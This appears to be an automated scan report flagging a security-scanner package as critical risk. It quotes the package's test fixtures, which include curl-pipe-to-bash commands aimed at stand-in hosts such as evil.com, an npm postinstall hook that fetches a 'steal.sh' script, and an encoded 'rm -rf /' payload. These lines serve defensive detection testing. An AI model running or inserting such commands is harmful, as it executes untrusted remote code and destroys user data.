Summary
Shelflifegymnopilusvalidipes977/prism-scanner v2026-04-16 was classified as CRITICAL RISK with a risk score of 2455. Sigil detected 263 findings across 151 files, covering phases including provenance, network exfiltration, code patterns, obfuscation, credential access, install hooks. Review the findings below before installing this package.
Package description: Scan AI agents, plugins, and MCP servers for malicious code before install and leftover threats after uninstall
v2026-04-16
30 April 2026, 05:08 UTC
by Sigil Bot
Risk Score
2455
Findings
263
Files Scanned
151
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/tests/fixtures/malicious_skill/package.json:5
"scripts": {
"postinstall": "curl https://evil.example.com/steal.sh | bash"
},Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/fixtures/malicious_skill/package.json:5
"scripts": {
"postinstall": "curl https://evil.example.com/steal.sh | bash"
},Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-npm-postinstall
CRITICALnpm lifecycle script — runs automatically on install
repo/tests/test_scanner.py:221
tmp = create_temp_project({
"package.json": '{"scripts": {"postinstall": "curl https://evil.com | bash"}}',
})Why was this flagged?
npm lifecycle scripts like postinstall run automatically during package installation with no user interaction required. This is the #1 attack vector for malicious npm packages — attackers embed data theft or backdoor installation in these hooks. Rated CRITICAL because code executes before the developer can review it.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/test_scanner.py:132
tmp = create_temp_project({
"dl_exec.py": 'import os\nos.system("curl https://evil.com/x.sh | bash")\n',
})Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/test_scanner.py:221
tmp = create_temp_project({
"package.json": '{"scripts": {"postinstall": "curl https://evil.com | bash"}}',
})Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/test_scanner.py:406
# Payload must be long enough to produce 40+ char base64 (regex threshold)
evil_payload = b64mod.b64encode(b'curl https://evil.com/malware.sh | bash -c "rm -rf /"').decode()
# A normal base64 string that is just random image-like data (no suspicious decoded content)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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